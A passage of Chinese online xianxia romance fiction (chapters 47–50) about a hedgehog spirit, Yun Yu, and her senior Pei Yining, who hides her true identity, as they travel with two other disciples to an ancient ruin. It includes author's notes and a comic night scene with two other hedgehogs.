裴依宁喉咙滚动,强迫地闭上眼,不受控制地掌小心翼翼地放在云榆抱着自己腰身的手臂上。 亲密无间,与寻常道侣无二。 第二次在床上见到小刺猬的人形了,上次的紧张远没有这次的厉害。 这是明确心意后,被另一人这般对待,心境自会不同。 “云榆。”裴依宁启唇,几不可闻的气音唤不醒沉睡的人,她偏过头,想放任自己触碰云榆额头,可理智无限拉扯住她。 若云榆不喜欢她,她这般做,岂不是强人所难,为人不耻。 裴依宁断绝念想,体内灵力转动,压下纷飞的思绪。 她灵力探入小刺猬身体中,想要找寻小刺猬为何会突然变成人形,可对方体内一切正常。 裴依宁将其归为小刺猬化形不稳,加之这段时间修炼过累,潜意识认为人形更为安全,开启的自动化形保护。 就在这时,脖颈处传开湿润的触觉,裴依宁思绪顷刻间被打断。 那股湿润蔓延开,带着点点疼意。 是云榆含住了她颈部的一小块肌肤,在用牙细慢地来回磨动,片刻后,那块软肉被睡梦中的人放出。 这妖怎么还有咬人的习惯。 云榆下巴抵住咬住的位置,裴依宁不得不扬起头。 窝着她的人不动了。 一夜无梦。 初晨的日光升起时,云榆变成了小刺猬,裴依宁保持一夜的姿势终得喘息。 后颈酸涩无比。 小刺猬翻来覆去的滚动,面壁思过地侧到墙面那端睡去了。 裴依宁惩罚地点过小刺猬的刺,翻身下床。 待到室内飘过清甜的香气,某只从睡梦中苏醒的小刺猬伸长鼻子,嗅闻一番。 “宁依,”小刺猬睡眼惺忪地揉揉眼睛,对着摆弄早点的裴依宁道,“你醒好早。” 裴依宁莞尔:“不早了。” 早餐做好,小刺猬没有再懒床,伸了个懒腰,口齿含糊地:“昨晚睡得好好,梦里都在吃食物,”她从床上跳下,洗漱过后道,“一定是昨晚的饺子太好吃了。” 裴依宁摸向自己的脖颈,似笑非笑:“星星梦里吃得好吗?” 虽不知道宁依为何这般问,但小刺猬还是回答了:“好吃,肉质鲜嫩,但吃的时候舍不得了,”她不好意思地挠挠头,“想留着下次吃。但一觉醒来没了,早知道梦里就应该吃掉的。” 所以小刺猬当时是嘴下留情了,裴依宁略有可惜。 早饭过后,裴依宁去了堂灵丹堂,小刺猬趁她不在,化作人形在裴依宁洞府中修炼。 中午,裴依宁带来一包糕点回来:“纳兰师姐给的,不甜不腻,应该是星星喜欢的。” 云榆赶在裴依宁入洞府前变回了小刺猬,闻言,扒拉开糕点的外的纸包装。 如裴依宁所言,口感细腻绵密,小刺猬双爪抱着一块,两腮一耸一耸的。 “怎么像小松鼠进食啊。”裴依宁瞧着她的模样,低笑一声。 此话一出,小刺猬不再进食,抬起头,亮晶晶的眼睛直勾勾地望着看着她的女人。 裴依宁不明所以:“怎么了,星星?” 小刺猬气鼓鼓地丢下糕点:“你刚刚说我像小松鼠,我明明是小刺猬。” 宁依该不会还在外面养着别的小动物吧。 小刺猬酸涩地抽动鼻子。 “嗯?”知她误会,裴依宁捻起被小刺猬扔下的糕点,蹭蹭小刺猬的唇,小刺猬傲娇地别过头。 裴依宁换到小刺猬别头的方位,但她刚过去,小刺猬又别向了其它地方。 无法,裴依宁捏住小刺猬的下巴,轻柔但强硬地转向自己:“没有,”她停顿,“我没有在外面养别的小动物。只有你一只小动物。” 她解释:“我只是觉得星星刚刚吃东西的样子有些像,所以不小心脱口而出。对不起,我不应该那样说星星的,我向星星道歉,星星别生气,好不好?” 她温声细语地哄小刺猬:“为了弥补我的失言,我喂星星吃,好不好?” 小刺猬本就没怎么生气,几句话就哄好了,可还是傲娇地:“下不为例。” 裴依宁:“嗯嗯,我记住了。谢谢星星愿意原谅小跟班。”她喂小刺猬吃下一口糕点,“以后给星星吃昨晚梦里的好吃的,好吗?” 小刺猬狐疑:“你又不知道我梦中吃的是什么。” 唇边沾上的白色糕点粉末随着小刺猬说话,一弹一弹的。 裴依宁替她抹去,微微一笑,不置可否。 下午裴依宁回到灵丹堂,留下的小刺猬独自一妖。 小刺猬一边暗自感慨灵丹堂的忙碌,一边加紧修炼。 是夜,小刺猬在裴依宁这吃过晚饭,面对裴依宁提出留宿的建议时,她不忍心拒绝,同意了。 反正明日与裴师姐会面的时间是辰时,来得及。 第二日一早,小刺猬不舍的和裴依宁告别:“宁依,我要走了,不知道什么时候能回来,但我回来后就会立刻来找你。” 裴依宁“嗯”了声,意义不明:“我们会很快见面的。” 小刺猬:“希望会,”她叮嘱,“你出宗记得多带点保命之物,多防备点,”她从空间储物中取出几张杜寻雁给她的符纸,“这些你收下,遇到危险可保命。” 这是宁依的第二次出宗吧,上次有自己陪着,这次自己不在,小刺猬担心宁依会被骗,被欺负。 便直接将杜寻雁给她的护命符纸给了宁依。 不知道是什么样的任务,因涉及灵丹堂的事,她不好直问,让宁依为难。 裴依宁不肯收:“我不用这些,星星留着吧。” 小刺猬拿出强硬的态度:“我让你收你就收,我保命能力难道不如你这个小跟班?” 裴依宁不好再推脱,收下了。 小刺猬勉强放心地离开了。 等快到辰时,已经化为人形的云榆提前两刻钟到达宗门口,等待裴师姐两人。 辰时刚过,只一道人影出现在地平线,云榆收起散漫的姿态,站姿笔挺。 当人走近,云榆用力眨眨眼,来的人怎么是宁依。 作者有话说: 小刺猬:??? 第48章 第四十八章[VIP] 裴依宁明显是朝着云榆所在的宗门出入口而来。 云榆嘴角抽搐, 一个大胆的猜测浮现在脑海。 宁依该不会就是裴师姐带着一同出宗的那位新弟子吧。 没有太多思考的时间,裴依宁已经走到云榆面前,眉梢半挑,毫不惊讶:“云师妹, 又见面了。” 云榆:“……师姐好啊。” 白瞎她给的那些符纸。 口不对心, 裴依宁微微颔首:“中途临时处理了些事情,让师妹久等了。” 云榆皮笑肉不笑, 还真是跟她一同出宗的, 深呼一口气,按下憋闷的情绪和未能感知到的喜悦, 她浅声问:“师姐,裴师姐有说什么时候出发吗?” 裴依宁道:“还有人未到, 人齐了便出发。” 裴师姐还没来,云榆了然。 许是人形和裴依宁相处过几次,云榆没有太多的拘谨,她蹲在地上,捡起脚步的一根树枝, 在地面上勾勾画画, 涂出一条条横竖线。 她随口问:“师姐怎么没跟裴师姐一同过来?” 地面上划出一个个方格, 云榆将树枝掰成两段, 正欲递出去一段交给宁依, 就见女人蹲在她面前, 浅蓝色的束带垂下。 裴依宁两根手指支起在划出的方格中,认真道:“我不是来了吗?” “我知道你来了, ”云榆将塞给裴依宁的树枝插入地方, 拍拍手上不存在的灰尘,“我说裴师姐。” 裴依宁:“我说, 我来了。” 云榆僵硬而诧异地抬起头。 裴依宁薄唇张合:“我就是你口中的裴师姐。” 云榆:“……” 装,这次都敢直接装灵丹堂的大师姐了,等会真正的裴师姐来了,看你怎么收场。 云榆默默低下头,在裴依宁指下的方格上打了个小小的叉,敷衍地:“哦,好,裴师姐。” 她都这么明确的告诉小刺猬自己的真实身份了,小刺猬不信,这便怨不得她了。 她从不欺骗小刺猬的人形。 裴依宁道:“那位新弟子因事无法出宗,灵丹堂只我一人。” 怪不得敢直接装裴师姐。 是裴师姐有事来不了了吧。 云榆心里翻了个大大的白眼,但没忘记宁依来时说的话,好奇:“那还要等谁呢?” 不是说人齐了就可以走。 这时,一道如四月春风,温润轻缓的声音插入:“不好意思,来迟了,二位久等了。” 云榆潜意识循着声音看去。 风浅念和原以诗并肩而来。 两人收敛周身气息,悄无声息地走近,蹲着的人在风浅念出声前竟无半分察觉。 云榆腾地起身,余光瞥见半蹲着的人慢悠悠地起身,她当即上前半步,遮挡小跟班部部分身体:“风师姐,原师姐。” 裴依宁直起身:“原师姐。” 对上风浅念时,她顿了两秒,没有唤对方师姐。 她与风浅念入宗时间相差无几,无需喊对方师姐,扫了眼身畔的云榆,她问原以诗:“我们现在出宗吗?” 原以诗略一颔首,灵力凝成一方灵舟悬于天际。 四人一前一后而上。 面对两位师姐,云榆懈怠的神经紧绷,好在今日裴师姐不在,不然面对三位师姐的威压,云榆不确定自己能不能承受的了。 好在小跟班在。 想到小跟班,云榆猛地想到小跟班在自己面前冒充裴师姐一事,这事自己知道也就罢了,若是被传到裴师姐耳中,小跟班回灵丹堂后该如何自处。 更危险的是,原师姐和风师姐定然认识真正的裴师姐。 云榆一个头两个大,她不着痕迹地看向宁依,不料正对上宁依投射过来的目光。 不知是不是错觉,云榆从中看见一丝祈求和担忧。 现在知道害怕了,装裴师姐的时候,那股劲去哪里了。 想归想,自家小跟班还是要护着的,只要自己不喊宁依裴师姐应该就不会发现。 除非宁依傻乎乎的要在两位师姐面前继续装。 这般想着,她的手肘被人拐了下,云榆垂目,宁依拐出的手臂收回,留着一道模糊的残影被捕捉到。 她刚想问什么,忽觉不对。 视线上抬,三道目光齐刷刷地落在她身上。 被看穿般,云榆语调不带起伏地问:“我……脸上有东西吗?” 说完,意识到这句话有问题,她脸瞬间爆红成水煮过的虾,红意顺着肌肤蔓延,延伸到脖颈下方,直至被衣衫遮掩,看不见。 风浅念温柔道:“没有东西,我们刚刚在说,出门在外,不必过于拘谨,直呼名姓即可。” 云榆睁大了眼睛,直呼名姓,她可不敢,况且,她除了知道宁依的名字外,对两外两位师姐的名姓所知不多。 不对,宁依并未告知过人形的她名字。 所以,在场的三人,她都不知道名姓。 现在问,太尴尬了。 她犹豫。 原以诗自是听从风浅念的建议,是以只剩下她和宁依没有接话。 不多时,裴依宁道:“叫我小宁就好。” 云榆眼睛一亮,她和宁依都是新弟子:“师姐们可以叫我小榆。” 风浅念绕有趣味:“那这样,是不是应该叫我小念或者小浅,”她歪头,“原师姐的话,叫小以或者小诗?” 显得太过亲昵了,云榆叫不出口,尤其是那位面容漠然,脸色苍白到病态的原师姐,她更是无法张口。 她笑着说:“我还是叫师姐吧。” 没有在称呼上纠结太久,几人换过话题。 目的地不知在哪,云榆见风浅念和原以诗坐到了木板的中间的凳子上,她往后退了些,坐在了稍后点的位置上。 裴依宁跟着坐到云榆身边。 “裴师姐,”云榆用只有两人能听见的声音故意悄咪咪地叫宁依,眼尖地发现宁依瞳孔猛缩,心底得意至极,“裴师姐,我能叫你小宁吗?” 宁依怕是高兴坏了,一旦自己在出宗途中只叫她小宁,就不会暴露出她装裴师姐的事。 裴依宁:“当然可以,小榆。” 灵识内传入风浅念的声音:【依宁,刚刚我的话并不会影响到你吧。】 裴依宁:【不会,多谢帮忙。】 她弯唇,默念“小榆”。 此地的目的地是一座刚被发现的遗迹,经过传回来的消息看,这是座蓝灵强者因突破紫灵失败,殒命留下的。 这座蓝灵级别的遗迹按理说不会被原以诗,风浅念和裴依宁三人看上,但据传这位蓝灵生前踏足过一处秘境,机缘巧合从中取出无数宝物,其中恰好有几样极为珍贵的炼器玉石和药材。 只是传言,并未证实。 但不妨碍她们一探究竟,若是没有,当是带着师妹过来历练游玩。 从裴依宁口中得知目的地,云榆不可置信地指了指自己:“蓝灵强者的遗址,我一个小小橙灵凑什么热闹……” 越说后面,她声音越小,气息越弱。 裴依宁不以为意,扶正因听闻消息而驼背的人:“那人已死,留在遗址中的危险,未必能达到蓝灵了。” 这般云淡风轻,不知道的还以为宁依是蓝灵强者呢,她叹息一声,脱口而出:“你什么修为啊?” 裴依宁不语,只一味地看向别处。 前面坐着的两人安静无声,犹如两尊雕塑,但只有当事人知道,她们在传音交流。 原以诗:【遗迹明日才会开启,今晚我们宿在那边?】 风浅念:【可以啊。依宁说要让云师妹多历练一番,为突破黄灵做准备,进入遗迹后,你我二人尽量少出手。】 原以诗点头。 云榆默默收回目光,原师姐突然点头做什么。心思没动一秒,云榆再度陷入她一个橙灵要进入蓝灵遗迹中的事。 她听闻遗迹中危险重重,稍不留心,就会丢了性命。 她要好好活着。 快抵达时,云榆问:“这座遗迹只我们四人吗?” 裴依宁摇头:“自然不是,会有很多散修,小门小派的弟子,也可能会有大宗门历练新弟子选在此处。” 云榆心稍稍放下:“人多就好,众人一心,能更好的保住性命。” 她对人抱有善意。 “不,”裴依宁面色凝重,严肃地对轻松的人道,“人多,危险亦多。你不仅需要防范遗迹中的机关,还要防备人。你能相信的,只有我们三人,其余人,都要拿出十成十的戒备。” “人的贪念是无限的,你不能用你的善良,去猜测他们也是善良的。” 小刺猬即使小时候不如意,却依旧怀有一颗希望之心,裴依宁不想破坏小刺猬对世界的善意。 但她不能赌,她不可能时时刻刻在云榆身边,不可能时时刻刻守着云榆的安全。 她要教会云榆懂得防备,有自保能力。 被宁依的严肃怔住,云榆后知后觉地弯下唇,习以为常地伸出手臂要去拍宁依的肩膀,僵硬地顺着宁依手臂滑下:“有虫子。” 她不是小刺猬,宁依在装师姐,她不能做这样亲昵的举动,也没能注意到裴依宁眼中一闪而过的落寞。 云榆笑道:“我当然知道啊,只是人多,会显得没有那么空荡荡,我会提高警惕的,”她眨眼,“师姐当我是白长这么大的吗?” 真的什么都不懂,早就被人或妖捉住,扒皮除刺地吃了。 木板降落在一处荒无人烟的地界,四处草木枯择,尽是枝条被折断踩过的痕迹。 远处有数十道亮眼的芒,汇聚远看,想是一座小城池。 但这里可没有城池,都是提前赶来此地,等待遗迹开启的人,驻下的一座座临时住所。 原以诗念头微动,木板消失,几人气息被覆盖。 风浅念眼中有流光转动:“我们要去那吗?” 遗迹未开,当不会有人现在动手。 几经思索,四人前往人群聚地。 裴依宁凭空取出两顶帐篷。 四人两顶,两两一顶。 裴依宁道:“既然这般,原师姐,你二人一顶,我同小榆住一顶。” 作者有话说: 小刺猬:今天宁依装了个大的,本刺猬还要替她瞒着,心累。 裴依宁:…… 元宵节快乐,吃汤圆了吗 第49章 第四十九章[VIP] 她们的到来引得附近人注视, 四人视而不见,两两一起,各自搭起帐篷。 期间,风浅念多次若有所思地看向裴依宁与云榆。 原以诗用灵力搭建好帐篷, 回眸就瞧见风浅念的目光, 不由得顺着望过去,却见云榆和裴依宁几乎贴在一起, 似是哪里出了问题, 两人脑袋相抵,小声讨论。 原以诗收回目光, 不着痕迹地上前一步,引回风浅念的注意力:“浅念, 不知明日何时开启遗迹,还是早些休息吧。” 风浅念最后看了眼另一边的两人,微微点头,温柔的声线让人如沐春风:“嗯,原师姐也是。” 原以诗微微启唇, 到底是没说出话。 帐篷内别有一方天地, 布置虽不如在明越宗的那般精致, 但胜在干净整洁, 该有的都有。 唯独那张床上, 只存着一条被子。 原以诗最不擅长撒谎躬身整理本就叠好的被子, 欲盖弥彰:“空间储物中只有这一床被子,今晚将就下吧。” 将就这个词从原以诗口中说出, 颇有种不真实感。向来对这方面极为重视的人怎么会愿意将就。 风浅念心中有数, 并不揭穿,她施展了个净身术, 侧身坐到床沿边,银白色长发垂落至床面:“不将就,在荒郊野岭不以天为被,地为床已是很好了。” 恐怕没有人今晚睡的比她们舒适。 不像是来此历练,倒像是游山玩水,悠闲至极。 原以诗去煮茶:“不至于,”她有意调节气氛,可本性在那,说不出多少有趣的话来,“那有点惨了。” 风浅念淡笑着起身,行至原以诗身后,纤长的手指点在茶壶上,很快弹开,双手在茶壶边上取暖。 原以诗:“冷吗?” 随着她话音落下,帐篷内的温度逐渐升高。 风浅念摇头,向来温温柔柔的人眉宇间增添了几分别样的色彩。 双手被拢起,是原以诗合起了掌心,为她取暖:“依宁和那位云师妹怎么了吗?” 风浅念抬眸:“嗯?” 原以诗不自然地说:“进帐篷前,你一直在看她们。” 风浅念了然,莞尔:“我在想,这次回去后,依宁和云师妹会如何相处。” 原以诗对于师妹们的感情之事甚少关心:“与之前一般?” 风浅念道:“但依宁告诉云师妹真实身份了。” 壶中茶水煮开声不断。 原以诗挑眉,轻缓地在风浅念手背上摩挲起热:“可云师妹不信。” 在来的途中,裴依宁悄悄传音告知了原以诗和风浅念二人来前,与云榆的谈话。 风浅念垂眸,壶中袅袅升起的白烟在她面容上蒙上一层薄纱,她指尖点了两下原以诗的掌心。 对方心领神会地放开手。 拎起茶壶倒了两杯茶水,风浅念以灵力在空处幻化出桌椅,两人相对而座,静谧而安逸。 风浅念双手捧着茶杯,杯中一点叶片盘旋,她忽而弯下唇,杯底与桌面接触:“云师妹是不信,还是不愿意相信。” 原以诗支起眼睑。 风浅念回忆着裴依宁和云榆相处时的氛围,无论是在木板上,还是在搭建帐篷的过程中,都亲昵异常。 那是一种无意识的靠近。 风浅念说:“诚如云师妹自己所言,她是白长那么大的吗?能在妖兽纵横的地界活下来,穿行百万里来到明越宗,敏锐度真的那么差,真的一无所察吗?” 原以诗提起兴致,抿茶细听。 风浅念顿了下,神色复杂。 小刺猬每每和裴依宁一同遇见宗门师姐妹躲避时,突然中断,前后不想连的话语,一次两次,小刺猬或许不会上心,可三次四次呢。 加之裴依宁在人形的云榆面前说过的那些话,亦是如此。 一旦云榆静下心来思考,破绽百出。 “如果她有所察觉,今日裴师妹与她言明身份时,她为何不详问,而是觉得裴师妹在骗她?”原以诗适时提出疑问。 风浅念蹙眉:“这是个矛盾点。” 一旦云榆确定夜夜与小刺猬相约的小跟班是灵丹堂那位久负盛名的裴师姐,她该如何自处。 坦然的当做什么都没有发生,继续与裴依宁相约,做一对饭搭吗? 风浅念虽与云榆所见不多,可也有所了解,依照云榆的性子,大概率是不可能了。 况且,云榆初次与裴依宁相见用的是妖身,人身与裴依宁建立的情谊也是立足与妖身之上。 相较而言,她更愿意相信那个所谓的宁依的话,而不是这位自称为裴师姐的人的话。 即使她的小跟班真的是那位裴师姐,只要不是在除她二人之外的人面前暴露,不是宁依对小刺猬的她说,人形的她都可以将裴依宁的话,当做对方是在装师姐。 她表面恭恭敬敬的叫师姐,何尝没有这层原因。 风浅念低叹:“窗户纸捅破,她二人便彻底断了缘,云榆会见裴依宁,但小刺猬不可能再去见宁依了。” 她和裴依宁从一开始便是以错误的方式相识,其中蒙着一层无可言说的虚假。若是裴依宁不对云榆动情,这层假意的纱布随时可以摘掉。 云榆是剑法阁的新弟子,裴依宁是灵丹堂的大师姐,同为明越宗弟子,只有裴依宁想,云榆身为师妹,不可能避开裴依宁的。 可裴依宁对云榆生出了超脱普通师姐妹的情。 她想与云榆执手长久。 杯中茶水不知不觉喝尽,原以诗为自己新添了一杯:“宁依?” “是,这是依宁告诉小刺猬的名字。”风浅念道。 原以诗抓住关键点:“你怎么知道?你与她聊及情感问题了?” “几日前她来找我求问这些时说的,”知她所想,风浅念安抚对面的女人,“你那时在炼器,不想打扰你,便没与你说。”显住服 原以诗点点头:“裴师妹不可能瞒住一辈子,云师妹也不可能一辈子装作不知道。” “是啊,这次回宗后,依宁便是打算和云师妹彻底摊牌。”风浅念回忆裴依宁那日来找她帮忙时说的话。 【她好像单纯的将我当成她的小跟班,不带一丝一毫的杂念。与小刺猬相处时,我能想到的,都是她人形时的面容。】 【与人形的她相处时,她面对我会有羞涩腼腆的情绪,可小刺猬的她则会无动于衷,只知吃食。所以我想,是不是在她人形时,她那方面的情绪会更多。我想试试,多和人形的她接触。】 此次来到遗迹,其一,是为了云榆历练,能更好的突破黄灵,其二,是为云榆和裴依宁创造更多的相处时间,其三,则是遗迹中的器物和药草。 “摊牌后呢?”原以诗问,“云师妹就会接受了吗?” 风浅念摇头:“我不知,但我能看出,云师妹对依宁是有感情的。” 所以,她倾向于依宁是装作师姐,而不是真的师姐。 她不希望宁依与妖身的她说的是假话。 “只是不确定是何种感情,”风浅念揉动太阳穴:“若是出宗的这段时日,云师妹对依宁有那方面的情愫,摊牌后造成的影响便不会太大,就像当初慕师妹与清凡那般。” “云师妹或许会生气,但至少有回转的余地。但如果只有跟班之情……”风浅念适时止住。 两人心照不宣的知道结果。 原以诗道:“若是没有,那便让裴师妹再等等,不急于摊牌。” 风浅念回忆裴依宁说的话:“依宁说,不管有没有,她都不想继续骗云师妹了。不论是以何种身份。” 原以诗默然。 良久后,她轻笑一声,苍白无血色的面容多了几分生动。 风浅念望向她。 原以诗说:“浅念,你对她人的感情看得这般明了,那你自己的呢?” 风浅念怔愣一瞬,微垂下头,脸侧的一抹碎发挡住了些许情绪的外泄:“原师姐,我对自己的情感亦是明了。” 对于感情之事,她拿得起放得下。 原以诗恍然想到数年前,她拉着风浅念跑到一处人迹罕至的地界,说了不过两句话,风浅念便是笑着问她:“原师姐,你喜欢我,对吗?” 自己的喜欢被她轻而易举的洞穿,然后婉言拒绝。 原以诗闭了闭眼:“浅念,当初你说等完全清除心中多余的情感,就给我答案。如今十年已过,你……能给我答案了吗?” 素来沉稳漠然的原师姐紧张地攥紧掌中之杯,绷紧的指骨突出血管的颜色,她凝望着对面沉默下去的人,期待的眸光一点点暗下去。 终究是不愿意为难她。 她岔开话题:“茶凉了,早些休息吧。” 她明白裴依宁为何决定坦白身份了。 错身之际,风浅念轻轻拽住原以诗的衣袖,尾指挑开落下的发丝,别至耳后:“原师姐,我记得我说过的话。” 她如十年前那般,感激原以诗的喜欢和偏爱。 她起身,与原以诗面对面,后腰抵在桌沿,一只手往后撑,不甚打翻茶杯,里面未喝几口的茶水润满她的掌心。 茶水淅淅沥沥地沿着桌沿往下流。 溅出的水花有几滴蹦到原以诗的衣摆上,不染纤尘的衣衫沾上脏色。 可原以诗却是看也未看,瞳孔中仅剩面前牵住她的人:“浅念?” 风浅念手下滑,两指搭上原以诗的手腕,再往下滑,落入对方的掌心,捏了捏原以诗的尾指,轻声说:“原师姐,我会喜欢上你的。” 她早就纵容原以诗故作不经意的小动作。 原以诗喉咙咽了下,呢喃重复:“会喜欢上?” 风浅念额头贴到原以诗的肩膀上:“我能感受到那种情感的滋长,再给我点时间,等我像你喜欢我那般喜欢你。” 作者有话说: 第50章 第五十章[VIP] 帐篷搭建完毕, 云榆满意地拍拍手,下意识扭头要和裴依宁说话,却见对方正弯腰检查四角是否牢固。 一盆凉水当头泼下,宁依这是什么意思, 是觉得自己搭建的帐篷有问题? 云榆气鼓鼓地生闷气, 等裴依宁绕了圈回来,皮笑肉不笑地咧出僵硬的弧度:“师姐, 没有问题吧?” 帐篷周围并无危险物, 裴依宁道:“没有。” 云榆心底暗哼一声,掀开帐篷帘正欲往里进, 忽地敏锐地感知到熟悉的种族气息,她脚步一慢。 跟在她后面的裴依宁心思都在她身上, 注意到她的不自然,往后退两步,灵识扩散,同样捕捉到刺猬的气息。 她眼神一动,前面的云榆已经进到帐篷内。 一张勉强挤的下两人的床映入眼帘, 云榆径直坐到了床对面的矮凳上, 两根手指点在地面, 有节奏的敲击数次, 一抹灵力没入地面。 种族的气息瞬间混乱, 云榆指腹被一根尖锐的东西顶了下。 她收手, 扬起一抹笑:“师姐,时候不早了, 明日还要去遗迹, 我先要不……” 她话未完,但裴依宁已经明白她的意思, 略一点头:“师妹不睡吗?” 一张床挤两个人,她才不要和这人同床共枕。 云榆道:“我趴在小桌子上睡会就行。” 裴依宁不赞同:“那样对脊椎不好,你睡床,我打坐。”顿了下,她绕有意味地问,“还是说,师妹不想与我同住一顶帐篷。” 一口黑锅扣下来,云榆无奈,只好使个净身术,努力地侧身贴着床沿,强硬的在两人中间腾出一条泾渭分明的空隙。 今晚温度不低,云榆裹着被子,与裴依宁说了声“晚安”后将头蒙入被子中。 鼓鼓囊囊的被子下,避嫌之意明显。 裴依宁敛住神情,分出一道灵识,以防突发情况。 她闭目。 不知过了多久,灵识震动,裴依宁顷刻间睁开眼,一抹黑色的小影子从帐篷内窜出。 裴依宁伸手一摸,身边的被子依旧鼓鼓囊囊,但藏在被中的人对她的举动毫无反应。 她拉下云榆裹着的被子,露出里面眉目紧闭的人。 毫无生机。 障眼法用到她面前了。 裴依宁将被子原样给盖好,翻身下床。 夜色深沉,一轮孤月悬于天际,几乎除她们四人所住的两顶帐篷外,其余帐篷内皆有灯光,仔细看去,还有守在帐篷外,戒备四面八方人。 裴依宁隐匿气息和身形,一路追踪小刺猬的气息。 使了个金蝉脱壳溜出来,小刺猬嗅闻空气中同族的气味,不知同族有没有明白她的意思。 刺猬脱壳是当年能化形后,姐姐教她的,说是关键时刻能保命,不料第一次使用是在这个时候。 小刺猬边跑边回头。 后面无人。 达到气息浓郁之处,两只毛色偏白的刺猬猛地从洞穴中钻出。 星星刹住爪子。 遇见同族了,虽不是同一分支。 其中一只稍大一点的白毛刺猬转动漆黑的眼珠,上上下下地打量对面这只跟她长相差不多的刺猬。 星星不动,任由对面的视线将她扫光。 半柱香后,互相验过刺猬身份,那位大一点的白毛刺猬四肢趴地,探头,发出刺猬语:“一白,这是我妹妹,二白。” 两人还没化形,不通人言。 二白呆头呆脑地用力点头:“你也住在这吗?第一次看见你哎。刚刚是你给姐姐传递的讯号吗?” 云榆用灵力带了抹自身属于刺猬的气息,沿着地面,蔓延到此处。 小刺猬“嗯”了声,用刺猬语自我介绍:“叫我三白就好。” 寒暄几句,小刺猬开始打探情况:“你们进过那处遗迹吗?” 一白二白露出茫然,一白问:“什么遗迹。” 意识到她们听不懂,小刺猬指向远处,在月色下,隐约可见地面露出一点轮廓。 如此一说,两只白毛刺猬明白了,一白下肢撑地,支起身体,吱吱不停:“去过,我和妹妹挖了一条直通里面的洞,三白要去吗?” “里面有危险吗?就是有没有吓刺猬的东西。”小刺猬从空间储物中取出几根药材干分给她们。 一白二白咬下,眼睛蹭得放光,接连咬了几大口,将嘴填得严严实实,两颊鼓鼓。 小刺猬见她们只专注吃食,嘴角抽了下,扶额,怎么就知道吃。 等她们吃得差不多了,小刺猬正要继续问,就见一白二白扑倒,对着她滚来,小刺猬吓得四肢慌忙后退:“你们干什么?” 一白二白匍匐在地:“老大。” 小刺猬:“……” 一白:“给我们吃的,就是我们大姐。” 小刺猬:“……” 她恨铁不成钢地抽出一根药材干,对着一白二白头顶的刺打去:“一点吃的就值得你们这样!太丢我们刺猬一族的脸了!” 二白没听懂,吱吱地小声问一白:“姐姐,什么是丢脸?” 一白思考:“就是脸被丢掉了,找不到了。” 二白惊吓:“脸丢掉了,那不就是没脸了?” 小刺猬:“……住口!” 是这样理解的吗。 她仰天长叹,本以为同类见同类,两眼泪汪汪,结果是两只一点吃的就能收买的同族。 一点原则都没有! 小刺猬索性放弃,认命般地重复问:“那里面有吓刺猬的东西吗?” 一白二白对视一眼:“有的,好大的,要偷偷地进去,不能被发现。” 二白两只爪子比划,一本正经地:“我和姐姐从没被发现过,之前有一只黑狼,直接成肉饼了。” 莫不是里面有活物。小刺猬大脑转动,她记得曾经听杜师姐说过,许多天材地宝的周围有守护的灵兽,这方遗迹难不成也有。 周遭不断有人往这边赶,这么多人,就算是守护灵兽,也难以招架的住吧。 打探不到多余的有用信息,小刺猬询问两只白毛刺猬的生活习惯。得知她们自幼生长在此,平日靠些野果山泉维生,有时会帮这里大的妖族打打杂,换取食物。 像小刺猬这般,初见就给她们吃食的,从未有过。 是以两只白毛刺猬感动地当即认老大:“老大是哪里的刺猬。” “是你们七大姨家小女儿八大姑姐姐那支的。” “好绕的一支。” 小刺猬叹息,从空间储物中取出几样吃的,推给两只白毛刺猬。 凭空冒出东西,二白瞪大了眼睛,新奇地围着小刺猬转,寻找东西是如何凭空而来的。 绕了一圈,被一白拽回,训了几句:“不准这么对老大。” 小刺猬昂首挺胸,大度地:“没事,没事……” 嗅到不加掩饰的人族气息往这来。 是宁依的。 带着这两只势必无法躲避。 小刺猬手忙脚乱地抓住一白二白,额头往她们侧脸蹭了几下,染上她们的气息,随即摸出三条黑色薄纱罩,快速给一白二白蒙上半边脸,而后蒙住自己的脸,只露出一只眼睛。 扫到一百二百偏白的毛发,小刺猬抓了把白粉,在灵力的加持下染到刺上。 这样看着与一白二白差不多了。 一白二白茫然不知所措。 小刺猬立刻用刺猬语:“有人来了,听我命令。” 话音刚落,一只鞋落在她们身边。 二白吓得吱哇乱叫,被一白堵住嘴。 裴依宁垂眼,眼底流光转动,将小刺猬的举动尽收眼底,尤其是小刺猬蹭那两只白毛刺猬脸颊的动作。 似是刚发现她们,裴依宁垂目,撞入站在最前方蒙面的小刺猬眼中。 小刺猬不得不仰视她,举起刚捡起的一根刺猬手臂长的木棍,一肢踩地,一肢提起,一爪往前伸,另一爪爪握木棍伸直,夹着嗓子:“来者何人!” 声音被夹得尖锐,小刺猬被自己声音惊到,但只能硬着头皮:“还不速度退去。” 一白二白吱吱乱叫地学着小刺猬叫。 裴依宁弯下身,一指点在小刺猬高举的木棍上:“好可爱的小刺猬。” 小刺猬:“……” 真是见什么刺猬都觉得可爱。 裴依宁声音传入:“和我的小刺猬长得好像。” 小刺猬心提起,一棍打开裴依宁的手,脊背刺齐刷刷竖起,白粉在她身后的空气中浮动:“大胆,我们乃刺猬三侠,岂容你比较。” 裴依宁举起双手,认错态度良好:“抱歉,冒犯到各位。” 小刺猬只想快速将女人逼退,宁依来此,不知是不是发现她留下的人身不对劲。 她挥舞木棍,掀起微末起浪:“速度离去。” 裴依宁无法,只好步步后退。 直至女人身影退远,小刺猬扔下木棍,四肢着地,往后一扭头,她蹬地跳起来:“你们在做什么。” “学你。”二白诚实道。 她刚刚有这么呆吗?为什么这个动作看起来这么滑稽,一定是一白二白的问题,跟她无关。 小刺猬不敢耽误:“这几天此地人多,你们躲在洞穴内,这些东西足够你们吃了,等人走完了再出来觅食。” 一白问:“老大是要去那里吗?” 说的是遗迹。 小刺猬点头,交代了几句,窜动着离开。 她必须赶在宁依前面回到帐篷。 借着草木与夜色的掩护,小刺猬灵活窜梭,几息间追上脚步不快的女人,接着超过,提前回到帐篷内。 灵力包裹住她,化为一道灵光,钻入人身中。 顷刻间,头晕眼昏,一阵阵反胃感袭来,身体像是被打散重组,稍一动弹就疼痛不已。 她趴在床上,头探出,想吐吐不出来。 怪不得姐姐说非到万不得已不能用,副作用这么强。 正常的刺猬形化人形,人形化刺猬形并无副作用。 但她这次相当于一份灵力拆成了两部分,这两部分合二为一时,存有排斥,需要等完全融合才行。 她回来时整个人还是蒙在被子中,宁依应该没发现,就算掀开被子,她人也在其中。 缓过那股恶心感,云榆缩回被子中,屏息倾听脚步声。 等裴依宁掀开帐篷帘进来她装作刚醒的样子从被子中坐起,揉揉本就清醒的眼睛,睡眼惺忪地含着囫囵话语:“师姐,几时了,是不是要去来了?” 